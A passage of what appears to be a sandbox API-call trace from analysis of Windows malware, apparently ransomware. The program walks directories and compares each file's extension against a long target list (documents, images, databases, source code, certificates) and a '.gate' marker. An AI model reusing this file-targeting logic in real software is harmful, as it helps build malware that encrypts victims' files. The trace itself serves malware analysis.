[0318.102] lstrcmpiW (lpString1=".cf", lpString2="ate") returned -1 [0318.102] lstrlenW (lpString=".cfc") returned 4 [0318.102] lstrcmpiW (lpString1=".cfc", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".cfm") returned 4 [0318.102] lstrcmpiW (lpString1=".cfm", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".cfml") returned 5 [0318.102] lstrcmpiW (lpString1=".cfml", lpString2=".gate") returned -1 [0318.102] lstrlenW (lpString=".cfu") returned 4 [0318.102] lstrcmpiW (lpString1=".cfu", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".chm") returned 4 [0318.102] lstrcmpiW (lpString1=".chm", lpString2="gate") returned -1 [0318.102] lstrlenW (lpString=".cin") returned 4 [0318.102] lstrcmpiW (lpString1=".cin", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".class") returned 6 [0318.103] lstrcmpiW (lpString1=".class", lpString2="].gate") returned -1 [0318.103] lstrlenW (lpString=".clx") returned 4 [0318.103] lstrcmpiW (lpString1=".clx", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".config") returned 7 [0318.103] lstrcmpiW (lpString1=".config", lpString2="m].gate") returned -1 [0318.103] lstrlenW (lpString=".cpp") returned 4 [0318.103] lstrcmpiW (lpString1=".cpp", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".cr2") returned 4 [0318.103] lstrcmpiW (lpString1=".cr2", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".crt") returned 4 [0318.103] lstrcmpiW (lpString1=".crt", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".crw") returned 4 [0318.103] lstrcmpiW (lpString1=".crw", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".cs") returned 3 [0318.103] lstrcmpiW (lpString1=".cs", lpString2="ate") returned -1 [0318.103] lstrlenW (lpString=".css") returned 4 [0318.103] lstrcmpiW (lpString1=".css", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".csv") returned 4 [0318.103] lstrcmpiW (lpString1=".csv", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".cub") returned 4 [0318.103] lstrcmpiW (lpString1=".cub", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".dae") returned 4 [0318.103] lstrcmpiW (lpString1=".dae", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".dat") returned 4 [0318.103] lstrcmpiW (lpString1=".dat", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".db") returned 3 [0318.103] lstrcmpiW (lpString1=".db", lpString2="ate") returned -1 [0318.103] lstrlenW (lpString=".dbf") returned 4 [0318.103] lstrcmpiW (lpString1=".dbf", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".dbx") returned 4 [0318.103] lstrcmpiW (lpString1=".dbx", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".dc3") returned 4 [0318.103] lstrcmpiW (lpString1=".dc3", lpString2="gate") returned -1 [0318.103] lstrlenW (lpString=".dcm") returned 4 [0318.104] lstrcmpiW (lpString1=".dcm", lpString2="gate") returned -1 [0318.104] lstrlenW (lpString=".dcr") returned 4 [0318.104] lstrcmpiW (lpString1=".dcr", lpString2="gate") returned -1 [0318.104] lstrlenW (lpString=".der") returned 4 [0318.104] lstrcmpiW (lpString1=".der", lpString2="gate") returned -1 [0318.104] lstrlenW (lpString=".dib") returned 4 [0318.104] lstrcmpiW (lpString1=".dib", lpString2="gate") returned -1 [0318.104] lstrlenW (lpString=".dic") returned 4 [0318.104] lstrcmpiW (lpString1=".dic", lpString2="gate") returned -1 [0318.104] lstrlenW (lpString=".dif") returned 4 [0318.104] lstrcmpiW (lpString1=".dif", lpString2="gate") returned -1 [0318.104] lstrlenW (lpString=".divx") returned 5 [0318.104] lstrcmpiW (lpString1=".divx", lpString2=".gate") returned -1 [0318.104] lstrlenW (lpString=".djvu") returned 5 [0318.104] lstrcmpiW (lpString1=".djvu", lpString2=".gate") returned -1 [0318.104] lstrlenW (lpString=".dng") returned 4 [0318.104] lstrcmpiW (lpString1=".dng", lpString2="gate") returned -1 [0318.104] lstrlenW (lpString=".doc") returned 4 [0318.104] lstrcmpiW (lpString1=".doc", lpString2="gate") returned -1 [0318.104] lstrlenW (lpString=".docm") returned 5 [0318.104] lstrcmpiW (lpString1=".docm", lpString2=".gate") returned -1 [0318.104] lstrlenW (lpString=".docx") returned 5 [0318.104] lstrcmpiW (lpString1=".docx", lpString2=".gate") returned -1 [0318.104] lstrlenW (lpString=".dot") returned 4 [0318.104] lstrcmpiW (lpString1=".dot", lpString2="gate") returned -1 [0318.104] lstrlenW (lpString=".dotm") returned 5 [0318.104] lstrcmpiW (lpString1=".dotm", lpString2=".gate") returned -1 [0318.104] lstrlenW (lpString=".dotx") returned 5 [0318.104] lstrcmpiW (lpString1=".dotx", lpString2=".gate") returned -1 [0318.105] lstrlenW (lpString=".dpx") returned 4 [0318.105] lstrcmpiW (lpString1=".dpx", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".dqy") returned 4 [0318.105] lstrcmpiW (lpString1=".dqy", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".dsn") returned 4 [0318.105] lstrcmpiW (lpString1=".dsn", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".dt") returned 3 [0318.105] lstrcmpiW (lpString1=".dt", lpString2="ate") returned -1 [0318.105] lstrlenW (lpString=".dtd") returned 4 [0318.105] lstrcmpiW (lpString1=".dtd", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".dwg") returned 4 [0318.105] lstrcmpiW (lpString1=".dwg", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".dwt") returned 4 [0318.105] lstrcmpiW (lpString1=".dwt", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".dx") returned 3 [0318.105] lstrcmpiW (lpString1=".dx", lpString2="ate") returned -1 [0318.105] lstrlenW (lpString=".dxf") returned 4 [0318.105] lstrcmpiW (lpString1=".dxf", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".edml") returned 5 [0318.105] lstrcmpiW (lpString1=".edml", lpString2=".gate") returned -1 [0318.105] lstrlenW (lpString=".efd") returned 4 [0318.105] lstrcmpiW (lpString1=".efd", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".elf") returned 4 [0318.105] lstrcmpiW (lpString1=".elf", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".emf") returned 4 [0318.105] lstrcmpiW (lpString1=".emf", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".emz") returned 4 [0318.105] lstrcmpiW (lpString1=".emz", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".epf") returned 4 [0318.105] lstrcmpiW (lpString1=".epf", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".eps") returned 4 [0318.105] lstrcmpiW (lpString1=".eps", lpString2="gate") returned -1 [0318.105] lstrlenW (lpString=".epsf") returned 5 [0318.105] lstrcmpiW (lpString1=".epsf", lpString2=".gate") returned -1 [0318.105] lstrlenW (lpString=".epsp") returned 5 [0318.106] lstrcmpiW (lpString1=".epsp", lpString2=".gate") returned -1 [0318.106] lstrlenW (lpString=".erf") returned 4 [0318.106] lstrcmpiW (lpString1=".erf", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".exr") returned 4 [0318.106] lstrcmpiW (lpString1=".exr", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".f4v") returned 4 [0318.106] lstrcmpiW (lpString1=".f4v", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".fido") returned 5 [0318.106] lstrcmpiW (lpString1=".fido", lpString2=".gate") returned -1 [0318.106] lstrlenW (lpString=".flm") returned 4 [0318.106] lstrcmpiW (lpString1=".flm", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".flv") returned 4 [0318.106] lstrcmpiW (lpString1=".flv", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".frm") returned 4 [0318.106] lstrcmpiW (lpString1=".frm", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".fxg") returned 4 [0318.106] lstrcmpiW (lpString1=".fxg", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".geo") returned 4 [0318.106] lstrcmpiW (lpString1=".geo", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".gif") returned 4 [0318.106] lstrcmpiW (lpString1=".gif", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".grs") returned 4 [0318.106] lstrcmpiW (lpString1=".grs", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".gz") returned 3 [0318.106] lstrcmpiW (lpString1=".gz", lpString2="ate") returned -1 [0318.106] lstrlenW (lpString=".h") returned 2 [0318.106] lstrcmpiW (lpString1=".h", lpString2="te") returned -1 [0318.106] lstrlenW (lpString=".hdr") returned 4 [0318.106] lstrcmpiW (lpString1=".hdr", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".hpp") returned 4 [0318.106] lstrcmpiW (lpString1=".hpp", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".hta") returned 4 [0318.106] lstrcmpiW (lpString1=".hta", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".htc") returned 4 [0318.106] lstrcmpiW (lpString1=".htc", lpString2="gate") returned -1 [0318.106] lstrlenW (lpString=".htm") returned 4 [0318.107] lstrcmpiW (lpString1=".htm", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".html") returned 5 [0318.107] lstrcmpiW (lpString1=".html", lpString2=".gate") returned 1 [0318.107] lstrlenW (lpString=".icb") returned 4 [0318.107] lstrcmpiW (lpString1=".icb", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".ics") returned 4 [0318.107] lstrcmpiW (lpString1=".ics", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".iff") returned 4 [0318.107] lstrcmpiW (lpString1=".iff", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".inc") returned 4 [0318.107] lstrcmpiW (lpString1=".inc", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".indd") returned 5 [0318.107] lstrcmpiW (lpString1=".indd", lpString2=".gate") returned 1 [0318.107] lstrlenW (lpString=".ini") returned 4 [0318.107] lstrcmpiW (lpString1=".ini", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".iqy") returned 4 [0318.107] lstrcmpiW (lpString1=".iqy", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".j2c") returned 4 [0318.107] lstrcmpiW (lpString1=".j2c", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".j2k") returned 4 [0318.107] lstrcmpiW (lpString1=".j2k", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".java") returned 5 [0318.107] lstrcmpiW (lpString1=".java", lpString2=".gate") returned 1 [0318.107] lstrlenW (lpString=".jp2") returned 4 [0318.107] lstrcmpiW (lpString1=".jp2", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".jpc") returned 4 [0318.107] lstrcmpiW (lpString1=".jpc", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".jpe") returned 4 [0318.107] lstrcmpiW (lpString1=".jpe", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".jpeg") returned 5 [0318.107] lstrcmpiW (lpString1=".jpeg", lpString2=".gate") returned 1 [0318.107] lstrlenW (lpString=".jpf") returned 4 [0318.107] lstrcmpiW (lpString1=".jpf", lpString2="gate") returned -1 [0318.107] lstrlenW (lpString=".jpg") returned 4 [0318.107] lstrcmpiW (lpString1=".jpg", lpString2="gate") returned -1 [0318.108] lstrlenW (lpString=".jpx") returned 4 [0318.108] lstrcmpiW (lpString1=".jpx", lpString2="gate") returned -1 [0318.108] lstrlenW (lpString=".js") returned 3 [0318.108] lstrcmpiW (lpString1=".js", lpString2="ate") returned -1 [0318.136] lstrlenW (lpString=".jsf") returned 4 [0318.136] lstrcmpiW (lpString1=".jsf", lpString2="gate") returned -1 [0318.136] lstrlenW (lpString=".json") returned 5 [0318.136] lstrcmpiW (lpString1=".json", lpString2=".gate") returned 1 [0318.136] lstrlenW (lpString=".jsp") returned 4 [0318.136] lstrcmpiW (lpString1=".jsp", lpString2="gate") returned -1 [0318.136] lstrlenW (lpString=".kdc") returned 4 [0318.136] lstrcmpiW (lpString1=".kdc", lpString2="gate") returned -1 [0318.136] lstrlenW (lpString=".kmz") returned 4 [0318.136] lstrcmpiW (lpString1=".kmz", lpString2="gate") returned -1 [0318.136] lstrlenW (lpString=".kwm") returned 4 [0318.136] lstrcmpiW (lpString1=".kwm", lpString2="gate") returned -1 [0318.136] lstrlenW (lpString=".lasso") returned 6 [0318.136] lstrcmpiW (lpString1=".lasso", lpString2="].gate") returned -1 [0318.136] lstrlenW (lpString=".lbi") returned 4 [0318.136] lstrcmpiW (lpString1=".lbi", lpString2="gate") returned -1 [0318.136] lstrlenW (lpString=".lgf") returned 4 [0318.136] lstrcmpiW (lpString1=".lgf", lpString2="gate") returned -1 [0318.136] lstrlenW (lpString=".lgp") returned 4 [0318.136] lstrcmpiW (lpString1=".lgp", lpString2="gate") returned -1 [0318.136] lstrlenW (lpString=".log") returned 4 [0318.136] lstrcmpiW (lpString1=".log", lpString2="gate") returned -1 [0318.136] lstrlenW (lpString=".m1v") returned 4 [0318.136] lstrcmpiW (lpString1=".m1v", lpString2="gate") returned -1 [0318.136] lstrlenW (lpString=".m4a") returned 4 [0318.136] lstrcmpiW (lpString1=".m4a", lpString2="gate") returned -1 [0318.136] lstrlenW (lpString=".m4v") returned 4 [0318.136] lstrcmpiW (lpString1=".m4v", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".max") returned 4 [0318.137] lstrcmpiW (lpString1=".max", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".md") returned 3 [0318.137] lstrcmpiW (lpString1=".md", lpString2="ate") returned -1 [0318.137] lstrlenW (lpString=".mda") returned 4 [0318.137] lstrcmpiW (lpString1=".mda", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mdb") returned 4 [0318.137] lstrcmpiW (lpString1=".mdb", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mde") returned 4 [0318.137] lstrcmpiW (lpString1=".mde", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mdf") returned 4 [0318.137] lstrcmpiW (lpString1=".mdf", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mdw") returned 4 [0318.137] lstrcmpiW (lpString1=".mdw", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mef") returned 4 [0318.137] lstrcmpiW (lpString1=".mef", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mft") returned 4 [0318.137] lstrcmpiW (lpString1=".mft", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mfw") returned 4 [0318.137] lstrcmpiW (lpString1=".mfw", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mht") returned 4 [0318.137] lstrcmpiW (lpString1=".mht", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mhtml") returned 6 [0318.137] lstrcmpiW (lpString1=".mhtml", lpString2="].gate") returned -1 [0318.137] lstrlenW (lpString=".mka") returned 4 [0318.137] lstrcmpiW (lpString1=".mka", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mkidx") returned 6 [0318.137] lstrcmpiW (lpString1=".mkidx", lpString2="].gate") returned -1 [0318.137] lstrlenW (lpString=".mkv") returned 4 [0318.137] lstrcmpiW (lpString1=".mkv", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mos") returned 4 [0318.137] lstrcmpiW (lpString1=".mos", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mov") returned 4 [0318.137] lstrcmpiW (lpString1=".mov", lpString2="gate") returned -1 [0318.137] lstrlenW (lpString=".mp3") returned 4 [0318.137] lstrcmpiW (lpString1=".mp3", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".mp4") returned 4 [0318.138] lstrcmpiW (lpString1=".mp4", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".mpeg") returned 5 [0318.138] lstrcmpiW (lpString1=".mpeg", lpString2=".gate") returned 1 [0318.138] lstrlenW (lpString=".mpg") returned 4 [0318.138] lstrcmpiW (lpString1=".mpg", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".mpv") returned 4 [0318.138] lstrcmpiW (lpString1=".mpv", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".mrw") returned 4 [0318.138] lstrcmpiW (lpString1=".mrw", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".msg") returned 4 [0318.138] lstrcmpiW (lpString1=".msg", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".mxl") returned 4 [0318.138] lstrcmpiW (lpString1=".mxl", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".myd") returned 4 [0318.138] lstrcmpiW (lpString1=".myd", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".myi") returned 4 [0318.138] lstrcmpiW (lpString1=".myi", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".nef") returned 4 [0318.138] lstrcmpiW (lpString1=".nef", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".nrw") returned 4 [0318.138] lstrcmpiW (lpString1=".nrw", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".obj") returned 4 [0318.138] lstrcmpiW (lpString1=".obj", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".odb") returned 4 [0318.138] lstrcmpiW (lpString1=".odb", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".odc") returned 4 [0318.138] lstrcmpiW (lpString1=".odc", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".odm") returned 4 [0318.138] lstrcmpiW (lpString1=".odm", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".odp") returned 4 [0318.138] lstrcmpiW (lpString1=".odp", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".ods") returned 4 [0318.138] lstrcmpiW (lpString1=".ods", lpString2="gate") returned -1 [0318.138] lstrlenW (lpString=".oft") returned 4 [0318.139] lstrcmpiW (lpString1=".oft", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".one") returned 4 [0318.139] lstrcmpiW (lpString1=".one", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".onepkg") returned 7 [0318.139] lstrcmpiW (lpString1=".onepkg", lpString2="m].gate") returned -1 [0318.139] lstrlenW (lpString=".onetoc2") returned 8 [0318.139] lstrcmpiW (lpString1=".onetoc2", lpString2="om].gate") returned -1 [0318.139] lstrlenW (lpString=".opt") returned 4 [0318.139] lstrcmpiW (lpString1=".opt", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".oqy") returned 4 [0318.139] lstrcmpiW (lpString1=".oqy", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".orf") returned 4 [0318.139] lstrcmpiW (lpString1=".orf", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".p12") returned 4 [0318.139] lstrcmpiW (lpString1=".p12", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".p7b") returned 4 [0318.139] lstrcmpiW (lpString1=".p7b", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".p7c") returned 4 [0318.139] lstrcmpiW (lpString1=".p7c", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".pam") returned 4 [0318.139] lstrcmpiW (lpString1=".pam", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".pbm") returned 4 [0318.139] lstrcmpiW (lpString1=".pbm", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".pct") returned 4 [0318.139] lstrcmpiW (lpString1=".pct", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".pcx") returned 4 [0318.139] lstrcmpiW (lpString1=".pcx", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".pdd") returned 4 [0318.139] lstrcmpiW (lpString1=".pdd", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".pdf") returned 4 [0318.139] lstrcmpiW (lpString1=".pdf", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".pdp") returned 4 [0318.139] lstrcmpiW (lpString1=".pdp", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".pef") returned 4 [0318.139] lstrcmpiW (lpString1=".pef", lpString2="gate") returned -1 [0318.139] lstrlenW (lpString=".pem") returned 4 [0318.140] lstrcmpiW (lpString1=".pem", lpString2="gate") returned -1 [0318.140] lstrlenW (lpString=".pff") returned 4 [0318.140] lstrcmpiW (lpString1=".pff", lpString2="gate") returned -1 [0318.140] lstrlenW (lpString=".pfm") returned 4 [0318.140] lstrcmpiW (lpString1=".pfm", lpString2="gate") returned -1 [0318.140] lstrlenW (lpString=".pfx") returned 4 [0318.140] lstrcmpiW (lpString1=".pfx", lpString2="gate") returned -1 [0318.140] lstrlenW (lpString=".pgm") returned 4 [0318.140] lstrcmpiW (lpString1=".pgm", lpString2="gate") returned -1 [0318.140] lstrlenW (lpString=".php") returned 4 [0318.140] lstrcmpiW (lpString1=".php", lpString2="gate") returned -1 [0318.140] lstrlenW (lpString=".php3") returned 5 [0318.140] lstrcmpiW (lpString1=".php3", lpString2=".gate") returned 1 [0318.140] lstrlenW (lpString=".php4") returned 5 [0318.140] lstrcmpiW (lpString1=".php4", lpString2=".gate") returned 1 [0318.140] lstrlenW (lpString=".php5") returned 5 [0318.140] lstrcmpiW (lpString1=".php5", lpString2=".gate") returned 1 [0318.140] lstrlenW (lpString=".phtml") returned 6 [0318.140] lstrcmpiW (lpString1=".phtml", lpString2="].gate") returned -1 [0318.140] lstrlenW (lpString=".pict") returned 5 [0318.140] lstrcmpiW (lpString1=".pict", lpString2=".gate") returned 1 [0318.140] lstrlenW (lpString=".pl") returned 3 [0318.140] lstrcmpiW (lpString1=".pl", lpString2="ate") returned -1 [0318.140] lstrlenW (lpString=".pls") returned 4 [0318.140] lstrcmpiW (lpString1=".pls", lpString2="gate") returned -1 [0318.140] lstrlenW (lpString=".pm") returned 3 [0318.140] lstrcmpiW (lpString1=".pm", lpString2="ate") returned -1 [0318.140] lstrlenW (lpString=".png") returned 4 [0318.140] lstrcmpiW (lpString1=".png", lpString2="gate") returned -1 [0318.140] lstrlenW (lpString=".pnm") returned 4 [0318.140] lstrcmpiW (lpString1=".pnm", lpString2="gate") returned -1 [0318.140] lstrlenW (lpString=".pot") returned 4 [0318.140] lstrcmpiW (lpString1=".pot", lpString2="gate") returned -1 [0318.140] lstrlenW (lpString=".potm") returned 5 [0318.140] lstrcmpiW (lpString1=".potm", lpString2=".gate") returned 1 [0318.140] lstrlenW (lpString=".potx") returned 5 [0318.141] lstrcmpiW (lpString1=".potx", lpString2=".gate") returned 1 [0318.141] lstrlenW (lpString=".ppa") returned 4 [0318.141] lstrcmpiW (lpString1=".ppa", lpString2="gate") returned -1 [0318.141] lstrlenW (lpString=".ppam") returned 5 [0318.141] lstrcmpiW (lpString1=".ppam", lpString2=".gate") returned 1 [0318.141] lstrlenW (lpString=".ppm") returned 4 [0318.141] lstrcmpiW (lpString1=".ppm", lpString2="gate") returned -1 [0318.141] lstrlenW (lpString=".pps") returned 4 [0318.141] lstrcmpiW (lpString1=".pps", lpString2="gate") returned -1 [0318.141] lstrlenW (lpString=".ppsm") returned 5 [0318.141] lstrcmpiW (lpString1=".ppsm", lpString2=".gate") returned 1 [0318.141] lstrlenW (lpString=".ppt") returned 4 [0318.141] lstrcmpiW (lpString1=".ppt", lpString2="gate") returned -1 [0318.141] lstrlenW (lpString=".pptm") returned 5 [0318.141] lstrcmpiW (lpString1=".pptm", lpString2=".gate") returned 1 [0318.141] lstrlenW (lpString=".pptx") returned 5 [0318.141] lstrcmpiW (lpString1=".pptx", lpString2=".gate") returned 1 [0318.141] lstrlenW (lpString=".prn") returned 4 [0318.141] lstrcmpiW (lpString1=".prn", lpString2="gate") returned -1 [0318.141] lstrlenW (lpString=".ps") returned 3 [0318.141] lstrcmpiW (lpString1=".ps", lpString2="ate") returned -1 [0318.141] lstrlenW (lpString=".psb") returned 4 [0318.141] lstrcmpiW (lpString1=".psb", lpString2="gate") returned -1 [0318.141] lstrlenW (lpString=".psd") returned 4 [0318.141] lstrcmpiW (lpString1=".psd", lpString2="gate") returned -1 [0318.141] lstrlenW (lpString=".pst") returned 4 [0318.141] lstrcmpiW (lpString1=".pst", lpString2="gate") returned -1 [0318.141] lstrlenW (lpString=".ptx") returned 4 [0318.141] lstrcmpiW (lpString1=".ptx", lpString2="gate") returned -1 [0318.141] lstrlenW (lpString=".pub") returned 4 [0318.141] lstrcmpiW (lpString1=".pub", lpString2="gate") returned -1 [0318.141] lstrlenW (lpString=".pwm") returned 4 [0318.141] lstrcmpiW (lpString1=".pwm", lpString2="gate") returned -1 [0318.142] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.142] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.144] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.144] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 0 [0318.144] FindClose (in: hFindFile=0x4a5318 | out: hFindFile=0x4a5318) returned 1 [0318.144] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4390048 | out: hHeap=0x490000) returned 1 [0318.145] FindNextFileW (in: hFindFile=0x4a5a18, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0318.145] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.145] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.145] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.145] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 0 [0318.145] FindClose (in: hFindFile=0x4a5318 | out: hFindFile=0x4a5318) returned 1 [0318.145] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4390048 | out: hHeap=0x490000) returned 1 [0318.146] FindNextFileW (in: hFindFile=0x4a5a18, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0318.148] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.148] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.149] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.149] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.150] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.150] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.152] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.152] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.153] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.153] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.154] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.154] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.182] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.183] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.184] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.184] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.185] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.185] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.187] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.187] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.189] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.189] FindNextFileW (in: hFindFile=0x4a5318, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0318.190] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x490000) returned 1 [0318.190] 